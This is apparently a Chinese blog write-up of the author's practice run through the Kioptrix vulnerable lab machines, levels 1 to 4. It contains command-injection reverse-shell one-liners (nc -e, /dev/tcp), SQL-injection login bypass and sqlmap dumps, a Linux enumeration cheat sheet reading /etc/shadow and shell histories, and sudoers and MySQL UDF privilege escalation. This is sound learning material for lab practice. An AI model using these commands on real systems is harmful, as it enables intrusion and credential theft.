Kioptrix Level 1
我打的第一个靶场,是一个比较老的靶场,相对简单
信息收集
1.存活探测
使用命令nmap -sn 192.168.126.0/24 --min-rate 2222 -r进行存活扫描,--min-rate指定最小发包速率,-r是禁用域名解析,这都加快了我们的扫描速度。
2.端口开放扫描加保存内容
通过下面的命令进行端口开放的检查
nmap -sS -p- 192.168.126.132 --min-rate 8888 -PN -r -oA 保存路径
-sS是syn扫描,nmap默认进行tcp扫描会进行三次握手,而SYN是完整tcp连接中的一个过程,只用2次连接 -PN是不用ping进行探测 -oA是保存所有类型的文件 -p-指定了扫描所有端口
3.端口服务指纹扫描,漏洞脚本探测
通过上面的方法获取到了开放端口后,我们可以对端口进行细致的服务指纹
查看dirserch扫出的目录,发现没什么可以利用的地方,同时指纹扫描出来80端口是老版本apache
漏洞查找利用
apache
用法serchsploit查早apache1.3.20的可利用漏洞
serchsploit Apache 1.3.20
发现cgibin远程执行漏洞,正好我们之前扫描出来了这个目录
serchsploit Apache -m 29290 将exp拿出来
发现缺少相应的库,要下载,下载后进行编译利用
发现cgi这个网页不能访问就无法利用了,只能换exp
换方向对ssl服务进行攻击
ssl
gcc 764.c -o 764 -lcrypto
这里卡住无法建立连接,还是换smb服务的漏洞进行利用吧。
发现是对443端口进行利用,成功反弹shell,whoami查看是apache权限需要提权
想利用内核提权无果,转而想利用smb,用namp没有扫描出smb服务具体的版本,用msf扫描一下具体版本
use 0
show options
扫描出来是smb2.21.a,然后用searchsploit查找exp
10.c编译后运行成功获取shell,root权限
总结复盘
第一次进行实战打靶,还是很生疏,首先要对内网进行信息收集,发现我们的目标机,获取其开放端口与服务信息版本等信息,可以使用arp_scan nmap fscan 等工具,可与使用namp的--script=vuln进行简单的漏洞检测,--min-rate限制最小发包速率,-sn进行存活探测,-p后面指派端口,-sV对服务信息进行扫描 -O识别操作系统,对于nmap无法确认的服务版本,可以使用msf等工具进行扫描利用攻击,本靶场我使用了smb_vsersion这个扫描模块,wget 下载我们用python起动的http服务,searchsploit的使用
Kioptrix Level 2
信息收集
端口开放扫描
针对开放端口进行服务指纹搜集
还是老版本的apache,ssh留到最后打,看一下web服务
拿到shell后进行主机信息
whoami发现是apache权限
cat /etc/crontab发现如下信息
uname -a看内核
cat /etc/*release*看发行版
漏洞探测
web漏洞,万能密码
这里是一个登录框,直接一个万能密码绕过进行登录,注释的方法有许多--+ # %23等可以一 一尝试,会根据服务器过滤和请求方法不同有所不同,如果注释全被过滤了可以试试构造闭合如'1'='1
web漏洞,命令执行
这里可以进行ping命令,尝试可不可以使用管道符或者;进行多个命令执行
通过分号命令执行成功,我们这里用nc反弹一个shell
192.168.126.233;nc -e /bin/bash 192.168.126.233 4444
反弹shell权限提升
反弹shell
监听本地4444端口nc -lvvp 4444
在靶机中使用nc反弹shell失败,考虑使用bash反弹
bash -i >& /dev/tcp/192.168.126.233/4444 0>&1
反弹成功获取到了apache权限
提权
开放了mysql端口,可以考虑使用udp进行提权,起初可以尝试是否可以使用suid提权,发现没有可用的suid提权,这里试试使用内核提权,将我们的内核版本放到searchsploit中搜索,发现如下exp。
直接启动一个python服务,后靶机wget进行获取,在http目录下我们没有权限写入,记得移动到/tmp目录下面进行下载。
编译使用后成功提权。
Kioptrix VM3
信息搜集
扫描端口
对主机进行服务探测
本次探测的端口较少,使用-A替代-sC -O
靶机使用的Linux kernel2.6 80端口搭配的是apache+php,nmap对主机进行一些漏洞的扫描
nmap 192.168.126.134 --script=vuln
网站指纹探测
这里使用whatweb工具对网站指纹进行识别
whatweb http://192.168.126.134
漏洞探测
web页面初探测
同步对80端口网站进行目录扫描,对网站简单的看了一下,有个phpmyadmin的登录口,禁止其他ip以root身份登录,还有一个web页面的登录口,测了一下万能密码和sql注入,没发现存在,弱口令试试
渗透测试技巧之hosts碰撞
发现在本地网页中点击一些url会跳转到某个网站去,且网站后面的路径我们本地存在,这时候考虑修改本地hosts文件让该网址指向我们要访问的服务器地址
成功绕过,测试功能点发现了sql注入漏洞,这里直接用sqlmap查询表的内容
sql漏洞利用之超级sql注入工具
超级sql注入工具是图形化的sql注入工具
将注入点的http包放到工具中的http请求包中,自动识别注入点,dump库
成功获取后台和系统用户的用户名密码
username | firstname | userid | password | lastname | usertype | | datejoined | issuperuser | website | photo | joincode |
admin | Super | 1 | n0t7t1k4 | User | superuser | 1302628616 | 1 |
id | password | username |
1 | 0d3eccfb887aabd50f243b3f155c0f85 Mast3r | dreg |
2 | 5badcaf789d3d1d09794d8f021f40f0e | loneferret |
后阳台登录失败,试试系统用户用ssh连接
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.126.134
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.126.134
二次信息探测
这里是一些getshell后对登录的Linux系统的信息二次收集,获得相应信息方便我们进行权限提升以及横向渗透权限维持
1.查看系统类型
- cat /etc/issue
- cat /etc/*release*
2.查看内核版本
- cat /proc/version
- uname -a
3.进程和服务
- ps aux
- ps -ef
- top
- cat /etc/service
4.安装的应用程序
- dpkg -l
- rpm -qa
5.服务器配置
- cat /etc/syslog.conf
- cat /etc/chttp.conf
- cat /etc/lighttpd.cnf
- cat /etc/cups/cupsd.conf
- cat /etc/inetd.conf
- cat /etc/apache2/apache2.conf
- cat /etc/my.conf
- cat /etc/httpd/conf/httpd.conf
- cat /opt/lampp/etc/httpd.conf
6.计划任务
- crontab -l
- ls -alh /var/spool/cron
- ls -al /etc/ | grep cron
- ls -al /etc/cron*
- cat /etc/cron*
- cat /etc/at.allow
- cat /etc/at.deny
- cat /etc/cron.allow
- cat /etc/cron.deny
- cat /etc/crontab
- cat /etc/anacrontab
- cat /var/spool/cron/crontabs/root
7.网络配置
- cat /etc/network/interfaces
- cat /etc/sysconfig/network
- cat /etc/resolv.conf
- cat /etc/sysconfig/network
- cat /etc/networks
- iptables -L
- hostname
- dnsdomainname
8.网络通信
- netstat -antup
- netstat -antpx
- netstat -tulpn
- arp -e
- route
9.用户信息
- id
- who
- w
- last
- cat /etc/sudoers
- cat /etc/passwd
- cat /etc/group
- cat /etc/shadow
- history
- cat ~/.bash_history
- cat ~/.nano_history
- cat ~/.atftp_history
- cat ~/.mysql_history
- cat ~/.php_history
10.可能用于提权的程序
- 查找有suid位或sgid位的程序
-
- find / -perm -g =s -o -perm -u=s -type f 2>/dev/null
- 查找能写或进入的目录
-
- find / -writable -type d 2 > /dev/null
- find / -perm -o+w -type d 2 > /dev/null
- find / -perm -o+x -type d 2 > /dev/null
信息搜集小技巧之bash用户查询
在不知道哪些用户有bash权限时可以/etc/passwd中筛选带bash字段的用户,也可以通过查看/home目录下的用户目录
权限提升
suid+ht编辑器+sudoer无密码提权
这里查看可以suid的文件
find / -perm -u=s -type f 2>/dev/null
没有发现可以直接利用的可执行文件
这个编辑器有suid权限,相当于可以以root权限运行,我们可以修改sudo的配置文件sudoer,如果编辑/etc/sudoers,权限添加/bin/bash,可以直接拿root的shell了。
sudo -l发现ht这个编辑器有root权限,loneferrent这个用户有sudo权限
sudo /usr/local/bin/ht //报错Error opening terminal: xterm-256color.则 export TERM=xterm
//ht编辑器修改/etc/sudoers sudo /bin/bash
将/bin/bash加入无密码sudo组就可以了
总结
这个靶机版本较低,有许多漏洞,我使用的是常规方法,用nday和内核漏洞提权一样可以get root权限。
通过扫描端口服务后发现22和80端口开放,重心放到80,尝试过命令执行,未授权访问,sql注入,但都没有找对位置,通过host碰撞后找到sql注入功能点,获取到了系统用户密码ssh登录,为本地普通用户权限,suid提权到了root。同时这个靶机还有一些方法没有尝试,后面再来复盘
Kioptrix level4
信息搜集
先进行简单的信息收集,存活探测,端口服务指纹探测等,
这里探测到了445和139这两个端口存在smb服务。可以使用enmu4Linux这个smb服务枚举扫描工具进行进一步的探测扫描。
enmu4Linux smb扫描探测工具
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息,使用也比较简单,后面直接加目标IP
就可以进行全部选项枚举了。
这里枚举出来了靶机的用户。
网站目录扫描
大多数都是登录,和300开头的跳转。
漏洞探测
sql文件泄露
这里访问我们跑出来的地址发现了因该是插入了一个用户,输入用户和密码发现错误。
登录框报错发现,存在sql注入
继续测试注入,用%23进行注入后发现报错,可以将数据包存下来放sqlmap跑记不到命令可以使用arsenal这个工具进行提示。
使用sqlmap进行注入
sqlmap -r sqlinject.txt --level=3 --batch
sqlmap -r sqlinject.txt --level=3 --batch --dbs
sqlmap -r sqlinject.txt --level=3 --batch -D "members" --tables
sqlmap -r sqlinject.txt --level=3 --batch -D "members" -T "members" --dump
低于level3无法发现注入点
登录后发现没有利用点,试试ssh登录
权限提升
Linux shell受限越狱
ssh登录后哦发现该用户的shell受限,只能使用几个命令
Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck’s Blog
这里使用echo os.system('/bin/bash')就可以完成越狱
成功的逃出了Lshell(limit shell)接下来进行二次信息收集,80端口好像不能过防火墙,这里使用443端口上传LinEnum。发现有3306端口通过php早用户名和密码看是否可以udf提权
udf提权
1-进入mysql查询
select * from mysql.func; #查询函数,使用的共享库,和类型
2-创建函数
create function sys_eval returns string soname "lib_mysqludf_sys.so"; #双引号里的库要换成我们查询到的库
3- 调用函数
select sys_eval('whoami');
4-改sudo文件
5-把sudo权限改回0440,拥有者改回root
6-sudo su #权限到手
这里直接就发现了自带函数,只是没有回显。
getshell root
arsenal工具使用
arsenal简介
arsenal只是一个快速库存、提醒渗透测试命令的启动器。
这个由 渗透测试人员为 渗透测试人员编写的项目简化了所有难以记住的命令的使用
在 arsenal 中,您可以搜索一个命令,选择一个命令,它会直接在您的终端中预填充。此功能独立于所使用的shell。实际上,Arsenal 模拟真实的用户输入(使用 TTY 参数和 IOCTL),因此 arsenal 可与所有 shell 配合使用,您的命令将在历史记录中。